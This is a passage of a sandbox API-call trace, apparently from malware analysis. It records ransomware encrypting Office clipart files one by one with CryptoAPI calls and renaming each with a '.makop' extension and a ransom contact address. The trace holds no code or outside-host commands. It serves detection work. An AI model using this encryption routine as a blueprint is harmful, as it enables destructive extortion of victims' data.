| out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0112.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.203] GetProcessHeap () returned 0x48a0000 [0112.203] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.203] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0112.291] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.291] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.291] GetProcessHeap () returned 0x48a0000 [0112.291] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.291] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.291] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.291] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.292] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.292] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.292] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.292] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.292] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.293] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.293] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.293] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3044, lpOverlapped=0x0) returned 1 [0112.294] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3050, dwBufLen=0x3050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3050) returned 1 [0112.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.295] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3050, lpOverlapped=0x0) returned 1 [0112.295] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.295] SetEndOfFile (hFile=0xf0) returned 1 [0112.303] GetProcessHeap () returned 0x48a0000 [0112.303] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.303] GetProcessHeap () returned 0x48a0000 [0112.303] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.303] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.305] CloseHandle (hObject=0xf0) returned 1 [0112.305] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0112.305] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0112.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.307] GetProcessHeap () returned 0x48a0000 [0112.307] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.307] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.312] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.312] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.312] GetProcessHeap () returned 0x48a0000 [0112.312] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.312] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.312] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.312] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.312] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.312] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.313] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.313] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.313] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.313] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a7c, lpOverlapped=0x0) returned 1 [0112.314] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a80) returned 1 [0112.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a80, lpOverlapped=0x0) returned 1 [0112.315] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.315] SetEndOfFile (hFile=0xf0) returned 1 [0112.322] GetProcessHeap () returned 0x48a0000 [0112.322] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.322] GetProcessHeap () returned 0x48a0000 [0112.322] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.323] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.324] CloseHandle (hObject=0xf0) returned 1 [0112.324] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0112.324] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0112.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.325] GetProcessHeap () returned 0x48a0000 [0112.325] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.325] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.412] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.412] GetProcessHeap () returned 0x48a0000 [0112.412] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.412] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.413] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.414] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.414] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8e8, lpOverlapped=0x0) returned 1 [0112.414] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f0) returned 1 [0112.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8f0, lpOverlapped=0x0) returned 1 [0112.414] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.415] SetEndOfFile (hFile=0xf0) returned 1 [0112.421] GetProcessHeap () returned 0x48a0000 [0112.421] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.421] GetProcessHeap () returned 0x48a0000 [0112.421] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.422] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.423] CloseHandle (hObject=0xf0) returned 1 [0112.423] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0112.423] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0112.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.424] GetProcessHeap () returned 0x48a0000 [0112.424] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.424] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.424] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.425] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.425] GetProcessHeap () returned 0x48a0000 [0112.425] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.425] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.425] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.425] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.518] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.518] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.518] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e0, lpOverlapped=0x0) returned 1 [0112.518] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e0) returned 1 [0112.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e0, lpOverlapped=0x0) returned 1 [0112.519] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.519] SetEndOfFile (hFile=0xf0) returned 1 [0112.526] GetProcessHeap () returned 0x48a0000 [0112.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.527] GetProcessHeap () returned 0x48a0000 [0112.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.528] CloseHandle (hObject=0xf0) returned 1 [0112.528] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 